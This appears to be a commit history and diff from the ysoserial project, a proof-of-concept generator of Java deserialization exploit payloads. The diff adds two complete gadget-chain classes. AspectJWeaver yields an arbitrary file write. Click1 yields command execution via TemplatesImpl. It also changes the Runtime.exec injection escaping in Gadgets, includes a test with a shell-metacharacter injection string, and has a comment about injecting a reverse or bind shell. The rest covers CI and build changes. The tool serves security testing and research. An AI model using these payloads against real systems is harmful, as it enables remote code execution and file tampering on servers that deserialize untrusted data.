22 Commits
Author SHA1 Message Date
Chris Frohoff 687dec82ad fix 2022-06-29 01:35:07 +00:00
Chris Frohoff 73208370c8 rename artifact 2022-06-29 01:26:43 +00:00
Chris Frohoff 39432cbe6d another fix attempt 2022-06-27 06:54:17 +00:00
Chris Frohoff 048a9db46a fix attempt 2022-06-27 06:48:06 +00:00
Chris Frohoff 77e3aff82f deploy gha changes 2022-06-27 06:43:16 +00:00
Chris Frohoff cfd02f9c2e add token env var 2022-06-25 04:05:21 +00:00
Chris Frohoff 2c4d8d815c fix attempt 2022-06-25 04:01:44 +00:00
Chris Frohoff 96f5b62749 fix attempt 2022-06-25 03:56:37 +00:00
Chris Frohoff 320c299a93 try diff release gh action 2022-06-25 03:50:38 +00:00
Chris Frohoff efb3f61337 fix gh action version 2022-06-25 03:34:50 +00:00
Chris Frohoff 094b92ef28 publish release 2022-06-25 03:33:55 +00:00
Chris Frohoff 42bd6d2586 fix for version 2022-06-25 03:21:52 +00:00
Chris Frohoff 66a012184d fix jar version 2022-06-25 03:13:29 +00:00
Chris Frohoff 8eb5cbfbf6 test fixes (#166)
* fix badge url

* switch to https repo url
2021-08-17 18:54:51 -07:00
YunLemon d13299428d Improve Travis CI build Performance (#164) 2021-08-17 16:14:45 -07:00
Chris Frohoff 79179e00b8 minimal test for escaping issues in createTemplatesImpl (#165) 2021-08-17 16:13:01 -07:00
XinRoom 76ac2bb259 Resolve escape error (#151)
Resolve escape error:
Caused by: compile error: ) is missing
2021-08-17 15:46:32 -07:00
Michael Stepankin d367e379d9 New gadget chain based on Apache Click (#154)
1. Add ysoserial.payloads.Click1 class
2. Update README.md with latest payloads
3. Remove duplicated "commons-io:commons-io:2.6" entry from pom.xml
2021-02-02 08:41:29 -08:00
testanull 138dc36bd2 Add AspectJWeaver file write gadget (#145)
* Add AspectJWeaver file write gadget
2021-01-11 08:57:01 -08:00
Chris Frohoff 750168c6d3 Merge pull request #149 from Alexandre-Bartel/jdk12_setAccessible
Just call setAccessible with Java > 12
2021-01-05 11:11:54 -08:00
Chris Frohoff 4df2ee2bb5 Merge pull request #150 from frohoff/fix_jk6
fix jdk6 protocol errors
2020-12-23 13:52:55 -08:00
Alexandre Bartel fc577c0bcd Just call setAccessible with Java > 12 2020-12-14 11:23:59 +01:00
11 changed files with 288 additions and 11 deletions
+40
View File
@@ -0,0 +1,40 @@
name: publish jar
on:
push:
tags:
- "v*.*.*"
permissions:
contents: write
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: write
packages: write
steps:
- uses: actions/checkout@v3
- uses: actions/setup-java@v3
with:
java-version: '8'
distribution: 'adopt'
cache: 'maven'
- name: Set version
run: mvn versions:set -DnewVersion=${{ github.ref_name }}
- name: Build jar
run: mvn -B clean package -DskipTests
# - name: publish maven jar
# run: mvn -B deploy -DskipTests -DrepositoryId=github
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Rename artifact
run: mv target/ysoserial-${{ github.ref_name }}-all.jar target/ysoserial-all.jar
- name: Publish GitHub release
uses: softprops/action-gh-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
files: target/ysoserial-all.jar
+1
View File
@@ -26,6 +26,7 @@ after_script:
grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- -- grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
matrix: matrix:
fast_finish: true
allow_failures: allow_failures:
- jdk: oraclejdk11 - jdk: oraclejdk11
- jdk: openjdk6 - jdk: openjdk6
+6 -1
View File
@@ -6,7 +6,7 @@
https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)]( [![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar) https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
[![Travis Build Status](https://api.travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial) [![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/frohoff/ysoserial)
[![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master) [![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
@@ -47,8 +47,10 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types: Available payload types:
Payload Authors Dependencies Payload Authors Dependencies
------- ------- ------------ ------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0 Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections1 @frohoff commons-collections:3.1
@@ -57,6 +59,7 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9 Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler Hibernate1 @mbechler
@@ -69,12 +72,14 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
Jdk7u21 @frohoff Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2 MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler Myfaces1 @mbechler
Myfaces2 @mbechler Myfaces2 @mbechler
ROME @mbechler rome:1.0 ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
``` ```
+23 -6
View File
@@ -131,11 +131,11 @@
<artifactId>commons-codec</artifactId> <artifactId>commons-codec</artifactId>
<version>1.9</version> <version>1.9</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>commons-io</groupId> <groupId>commons-io</groupId>
<artifactId>commons-io</artifactId> <artifactId>commons-io</artifactId>
<version>2.6</version> <version>2.6</version>
</dependency> </dependency>
<dependency> <dependency>
<artifactId>remoting</artifactId> <artifactId>remoting</artifactId>
<groupId>org.jenkins-ci.main</groupId> <groupId>org.jenkins-ci.main</groupId>
@@ -236,7 +236,7 @@
<artifactId>commons-fileupload</artifactId> <artifactId>commons-fileupload</artifactId>
<version>1.3</version> <version>1.3</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.apache.wicket</groupId> <groupId>org.apache.wicket</groupId>
<artifactId>wicket-util</artifactId> <artifactId>wicket-util</artifactId>
<version>6.23.0</version> <version>6.23.0</version>
@@ -326,6 +326,16 @@
<artifactId>vaadin-server</artifactId> <artifactId>vaadin-server</artifactId>
<version>7.7.14</version> <version>7.7.14</version>
</dependency> </dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.apache.click</groupId>
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
</dependency>
</dependencies> </dependencies>
<profiles> <profiles>
@@ -428,4 +438,11 @@
</profile> </profile>
</profiles> </profiles>
<distributionManagement>
<repository>
<id>github</id>
<name>GitHub Packages</name>
<url>https://maven.pkg.github.com/frohoff/ysoserial</url>
</repository>
</distributionManagement>
</project> </project>
@@ -0,0 +1,107 @@
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(AspectJWeaver.class, args);
}
}
+81
View File
@@ -0,0 +1,81 @@
package ysoserial.payloads;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/*
Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
We use java.util.PriorityQueue to trigger ColumnComparator.compare().
After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
Chain:
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Column.getProperty()
org.apache.click.util.PropertyUtils.getValue()
org.apache.click.util.PropertyUtils.getObjectPropertyValue()
java.lang.reflect.Method.invoke()
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
...
Arguments:
- command to execute
Yields:
- RCE via TemplatesImpl.getOutputProperties()
Requires:
- Apache Click
- servlet-api of any version
by @artsploit
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({ Authors.ARTSPLOIT })
public class Click1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object templates = Gadgets.createTemplatesImpl(command);
queueArray[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Click1.class, args);
}
}
@@ -23,6 +23,8 @@ public @interface Authors {
String SCRISTALLI = "scristalli"; String SCRISTALLI = "scristalli";
String HANYRAX = "hanyrax"; String HANYRAX = "hanyrax";
String EDOARDOVIGNATI = "EdoardoVignati"; String EDOARDOVIGNATI = "EdoardoVignati";
String JANG = "Jang";
String ARTSPLOIT = "artsploit";
String[] value() default {}; String[] value() default {};
@@ -115,7 +115,7 @@ public class Gadgets {
// run command in static initializer // run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");"; "\");";
clazz.makeClassInitializer().insertAfter(cmd); clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
@@ -13,8 +13,18 @@ import com.nqzero.permit.Permit;
public class Reflections { public class Reflections {
public static void setAccessible(AccessibleObject member) { public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+ String versionStr = System.getProperty("java.version");
Permit.setAccessible(member); int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
} }
public static Field getField(final Class<?> clazz, final String fieldName) { public static Field getField(final Class<?> clazz, final String fieldName) {
@@ -203,7 +203,7 @@ public class PayloadsTest {
File[] jars = dependencies.length > 0 File[] jars = dependencies.length > 0
? Maven.configureResolver() ? Maven.configureResolver()
.withMavenCentralRepo(true) .withMavenCentralRepo(true)
.withRemoteRepo("jenkins", "http://repo.jenkins-ci.org/public/", "default") .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
.resolve(dependencies).withoutTransitivity().asFile() .resolve(dependencies).withoutTransitivity().asFile()
: new File[0]; : new File[0];
URL[] urls = new URL[jars.length]; URL[] urls = new URL[jars.length];
@@ -0,0 +1,14 @@
package ysoserial.test.util;
import org.junit.Test;
import ysoserial.payloads.util.Gadgets;
public class GadgetsTest {
@Test
public void test_createTemplatesImpl_noCompilationError() throws Exception {
Gadgets.createTemplatesImpl("hostname");
Gadgets.createTemplatesImpl("echo 'foobar'");
Gadgets.createTemplatesImpl("echo \"foobar\"");
Gadgets.createTemplatesImpl("\"`';\\");
}
}